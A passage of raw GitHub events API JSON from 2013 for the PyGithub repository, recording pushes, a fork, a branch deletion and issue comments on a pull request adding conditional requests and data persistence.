:-)"}},"public":true,"created_at":"2013-09-06T08:15:35Z"},{"id":"1823372143","type":"DeleteEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"ref":"topic/ConditionalRequest","ref_type":"branch"},"public":true,"created_at":"2013-09-06T08:12:07Z"},{"id":"1823371399","type":"PushEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"push_id":225082808,"size":28,"distinct_size":4,"ref":"refs/heads/develop","head":"1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d","before":"ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","commits":[{"sha":"b71329e560795a4df84cb419178ef660824f4c0d","author":{"email":"akfish@gmail.com","name":"AKFish"},"message":"Implement data persistence","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b71329e560795a4df84cb419178ef660824f4c0d"},{"sha":"bd7abb58772ae1a61fd7eb44308a3a2f60432ad6","author":{"email":"akfish@gmail.com","name":"AKFish"},"message":"Add update() method","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bd7abb58772ae1a61fd7eb44308a3a2f60432ad6"},{"sha":"1e9ec2df089973db73aaf99b4ef147efd4614e7c","author":{"email":"akfish@gmail.com","name":"AKFish"},"message":"Add NotModifiedException class","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1e9ec2df089973db73aaf99b4ef147efd4614e7c"},{"sha":"6fd05baf6bea732dd846e08c40891c28060e7c64","author":{"email":"akfish@gmail.com","name":"AKFish"},"message":"Handle response code 304","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6fd05baf6bea732dd846e08c40891c28060e7c64"},{"sha":"5b09f6c82191601cad92076ad4761fe927c511ed","author":{"email":"akfish@gmail.com","name":"AKFish"},"message":"Implement conditional request","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b09f6c82191601cad92076ad4761fe927c511ed"},{"sha":"70a7e9c83dec2bf6b549dc5c77d30b53afb32457","author":{"email":"akfish@gmail.com","name":"AKFish"},"message":"Fix update","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/70a7e9c83dec2bf6b549dc5c77d30b53afb32457"},{"sha":"d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","author":{"email":"akfish@gmail.com","name":"AKFish"},"message":"Add test record helper","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7"},{"sha":"c7593e84c4a92a044b717b7311c2b6ad8d9a5917","author":{"email":"akfish@gmail.com","name":"AKFish"},"message":"Add test case for conditional request","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c7593e84c4a92a044b717b7311c2b6ad8d9a5917"},{"sha":"cc1bcd5f2da1982a0836a488cf321d363bfcf5b5","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Merge branch 'develop' into topic/ConditionalRequest\n\nConflicts:\n\t.gitignore\n\tgithub/Requester.py","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cc1bcd5f2da1982a0836a488cf321d363bfcf5b5"},{"sha":"1787765a61958617d47e764a0bea2acd70c84f72","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Review of #189: use dict.get\n\nhttp://docs.python.org/2/library/stdtypes.html#dict.get","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1787765a61958617d47e764a0bea2acd70c84f72"},{"sha":"0f74e4389b3c0fa57a83083ecfbbf5c331022674","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Review of #189: pep8, copyrights, style, remarks\n\nFor remarks, run: git grep \"#189\"\nThey are only my first thoughts while reviewing this pull request,\nand should be reviewed themselves.","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0f74e4389b3c0fa57a83083ecfbbf5c331022674"},{"sha":"fb7325884ee0b8ae73f47bf13c6f36cacbc3131c","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Fix remarks on #189 to #193","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fb7325884ee0b8ae73f47bf13c6f36cacbc3131c"},{"sha":"0413c87c12e688fb4fc38d978a2f275ef791cd48","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Remove _record_.py (#193)\n\nAccording to https://github.com/jacquev6/PyGithub/commit/0f74e4389b3c0fa57a83083ecfbbf5c331022674#commitcomment-3919786","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0413c87c12e688fb4fc38d978a2f275ef791cd48"},{"sha":"bc3b819ac554a2132427c9ffe629ef371511213e","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Separate tests for conditional requests (#193)","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bc3b819ac554a2132427c9ffe629ef371511213e"},{"sha":"bae0a37d180a4b224c6aa808d03722908109c57d","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"#193: Don't use a try-except for a usual execution flow in GithubObject.update\n\n(and factorize assignment of headers in _storeAndUseAttributes,\nas done for rawData)","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bae0a37d180a4b224c6aa808d03722908109c57d"},{"sha":"03d7fb012e9d032165c43f93a4c67bc29af9366f","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"#193: Add remarks","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/03d7fb012e9d032165c43f93a4c67bc29af9366f"},{"sha":"64cf539c83174f95b3410c7decd2549424385ce1","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"#193: Add a param to Requester.requestXxx for request headers","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/64cf539c83174f95b3410c7decd2549424385ce1"},{"sha":"e084b5138106d4ad371a69ca9519862f09c855ae","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"#193: Fix test coverage","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e084b5138106d4ad371a69ca9519862f09c855ae"},{"sha":"020a3c9917f42d98c1761527825061d2db8352fd","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Move method update to CompletableGithubObject","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/020a3c9917f42d98c1761527825061d2db8352fd"},{"sha":"fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Move the DEBUG_ON_RESPONSE call to Requester.__requestEncode","distinct":false,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fb6980ce36766e4dd1ab03b48ac4b5adf876dc84"}]},"public":true,"created_at":"2013-09-06T08:10:53Z"},{"id":"1823216085","type":"IssueCommentEvent","actor":{"id":922715,"login":"akfish","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","avatar_url":"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/events","html_url":"https://github.com/jacquev6/PyGithub/pull/193","id":18404629,"number":193,"title":"Add Conditional Request and Data Persistence Support Alternative Solution","user":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":1,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-04T13:41:07Z","due_on":null},"comments":11,"created_at":"2013-08-22T10:14:26Z","updated_at":"2013-09-06T02:24:06Z","closed_at":null,"pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/193","diff_url":"https://github.com/jacquev6/PyGithub/pull/193.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/193.patch"},"body":"An alternative solution to pull request #189 based on #192. I am making this new pull request for clarity.\r\nChange List\r\n---------------\r\n1. Add support to [Conditional Request](http://developer.github.com/guides/getting-started/#conditional-requests) API.\r\n * Add ```GithubObject.etag``` property\r\n * Add ```GithubObject.last_modified``` property\r\n * Modify ```Requester``` class to handle 304 response code\r\n * Modify ```Requester``` class to enable making conditional request\r\n * Add ```NotModifiedException``` class for 304 response code\r\n * Add ```GithubObject.update()``` method\r\n * Add a few private helper methods to make this work\r\n2. Add methods for Data Persistence\r\n * Add ```GithubObject.save(file_fname)``` method\r\n * Add ```GithubObject.load(file_fname)``` class method\r\n3. Test class for conditional request\r\n\r\nUsage\r\n---------------\r\n```python\r\n# Get remote issue list and cache locally when syncing\r\nfor issue in repo.get_issues():\r\n issue.save(local_file_path)\r\n\r\n# Offline use/Quick restore previous work state\r\nfor local_file_path in cache.get_files():\r\n cached_issue = issue.load(local_file_path)\r\n #do something with it\r\n\r\n# And check for update when needed\r\nif (cached_issue.update()):\r\n print \"Issue synced“\r\n\r\n```"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23915193","html_url":"https://github.com/jacquev6/PyGithub/pull/193#issuecomment-23915193","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","id":23915193,"user":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"created_at":"2013-09-06T02:24:06Z","updated_at":"2013-09-06T02:24:06Z","body":"Well, never mind my previous comments. I think your implementation will work nicely.\r\nThough the pickle format cross-version compatibility still troubles me. I will try it out with some projects and see if a more flexible serialization mechanism (i.e. let developer specify which serializer to use, pickle, JSON, XML and etc) is necessary. \r\nFor now I am happy with that. Thanks."}},"public":true,"created_at":"2013-09-06T02:24:07Z"},{"id":"1823212876","type":"ForkEvent","actor":{"id":1676891,"login":"wadewilliams","gravatar_id":"21a241aa10ee457a5f6b72aca98a4860","url":"https://api.github.com/users/wadewilliams","avatar_url":"https://1.gravatar.com/avatar/21a241aa10ee457a5f6b72aca98a4860?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"forkee":{"id":12633886,"name":"PyGithub","full_name":"wadewilliams/PyGithub","owner":{"login":"wadewilliams","id":1676891,"avatar_url":"https://0.gravatar.com/avatar/21a241aa10ee457a5f6b72aca98a4860?d=https%3A%2F%2Fidenticons.github.com%2F49f04213eb6f9bbf8e6ec031c55c4e31.png","gravatar_id":"21a241aa10ee457a5f6b72aca98a4860","url":"https://api.github.com/users/wadewilliams","html_url":"https://github.com/wadewilliams","followers_url":"https://api.github.com/users/wadewilliams/followers","following_url":"https://api.github.com/users/wadewilliams/following{/other_user}","gists_url":"https://api.github.com/users/wadewilliams/gists{/gist_id}","starred_url":"https://api.github.com/users/wadewilliams/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wadewilliams/subscriptions","organizations_url":"https://api.github.com/users/wadewilliams/orgs","repos_url":"https://api.github.com/users/wadewilliams/repos","events_url":"https://api.github.com/users/wadewilliams/events{/privacy}","received_events_url":"https://api.github.com/users/wadewilliams/received_events","type":"User"},"private":false,"html_url":"https://github.com/wadewilliams/PyGithub","description":"Python library implementing the full Github API v3","fork":true,"url":"https://api.github.com/repos/wadewilliams/PyGithub","forks_url":"https://api.github.com/repos/wadewilliams/PyGithub/forks","keys_url":"https://api.github.com/repos/wadewilliams/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wadewilliams/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wadewilliams/PyGithub/teams","hooks_url":"https://api.github.com/repos/wadewilliams/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/wadewilliams/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/wadewilliams/PyGithub/events","assignees_url":"https://api.github.com/repos/wadewilliams/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/wadewilliams/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/wadewilliams/PyGithub/tags","blobs_url":"https://api.github.com/repos/wadewilliams/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wadewilliams/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wadewilliams/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/wadewilliams/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wadewilliams/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/wadewilliams/PyGithub/languages","stargazers_url":"https://api.github.com/repos/wadewilliams/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/wadewilliams/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/wadewilliams/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/wadewilliams/PyGithub/subscription","commits_url":"https://api.github.com/repos/wadewilliams/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/wadewilliams/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/wadewilliams/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/wadewilliams/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/wadewilliams/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/wadewilliams/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wadewilliams/PyGithub/merges","archive_url":"https://api.github.com/repos/wadewilliams/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wadewilliams/PyGithub/downloads","issues_url":"https://api.github.com/repos/wadewilliams/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/wadewilliams/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/wadewilliams/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/wadewilliams/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wadewilliams/PyGithub/labels{/name}","created_at":"2013-09-06T02:17:04Z","updated_at":"2013-09-06T02:17:04Z","pushed_at":"2013-09-05T15:53:48Z","git_url":"git://github.com/wadewilliams/PyGithub.git","ssh_url":"git@github.com:wadewilliams/PyGithub.git","clone_url":"https://github.com/wadewilliams/PyGithub.git","svn_url":"https://github.com/wadewilliams/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":824,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","public":true}},"public":true,"created_at":"2013-09-06T02:17:05Z"},{"id":"1822756531","type":"IssueCommentEvent","actor":{"id":922715,"login":"akfish","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","avatar_url":"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/events","html_url":"https://github.com/jacquev6/PyGithub/issues/193","id":18404629,"number":193,"title":"Add Conditional Request and Data Persistence Support Alternative Solution","user":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":1,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-04T13:41:07Z","due_on":null},"comments":10,"created_at":"2013-08-22T10:14:26Z","updated_at":"2013-09-05T17:00:40Z","closed_at":null,"pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/193","diff_url":"https://github.com/jacquev6/PyGithub/pull/193.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/193.patch"},"body":"An alternative solution to pull request #189 based on #192. I am making this new pull request for clarity.\r\nChange List\r\n---------------\r\n1. Add support to [Conditional Request](http://developer.github.com/guides/getting-started/#conditional-requests) API.\r\n * Add ```GithubObject.etag``` property\r\n * Add ```GithubObject.last_modified``` property\r\n * Modify ```Requester``` class to handle 304 response code\r\n * Modify ```Requester``` class to enable making conditional request\r\n * Add ```NotModifiedException``` class for 304 response code\r\n * Add ```GithubObject.update()``` method\r\n * Add a few private helper methods to make this work\r\n2. Add methods for Data Persistence\r\n * Add ```GithubObject.save(file_fname)``` method\r\n * Add ```GithubObject.load(file_fname)``` class method\r\n3. Test class for conditional request\r\n\r\nUsage\r\n---------------\r\n```python\r\n# Get remote issue list and cache locally when syncing\r\nfor issue in repo.get_issues():\r\n issue.save(local_file_path)\r\n\r\n# Offline use/Quick restore previous work state\r\nfor local_file_path in cache.get_files():\r\n cached_issue = issue.load(local_file_path)\r\n #do something with it\r\n\r\n# And check for update when needed\r\nif (cached_issue.update()):\r\n print \"Issue synced“\r\n\r\n```"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23883975","html_url":"https://github.com/jacquev6/PyGithub/issues/193#issuecomment-23883975","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","id":23883975,"user":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"created_at":"2013-09-05T17:00:40Z","updated_at":"2013-09-05T17:00:40Z","body":"After some quick scanning of the code, recursively reviving will likely not be an issue. We can just invoke ```_useAttributes``` somehow after ```requester``` is set. That should (re)initialize children with correct info. "}},"public":true,"created_at":"2013-09-05T17:00:41Z"},{"id":"1822742910","type":"IssueCommentEvent","actor":{"id":922715,"login":"akfish","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","avatar_url":"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/events","html_url":"https://github.com/jacquev6/PyGithub/issues/193","id":18404629,"number":193,"title":"Add Conditional Request and Data Persistence Support Alternative Solution","user":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":1,"state":"open","created_at":"2013-08-1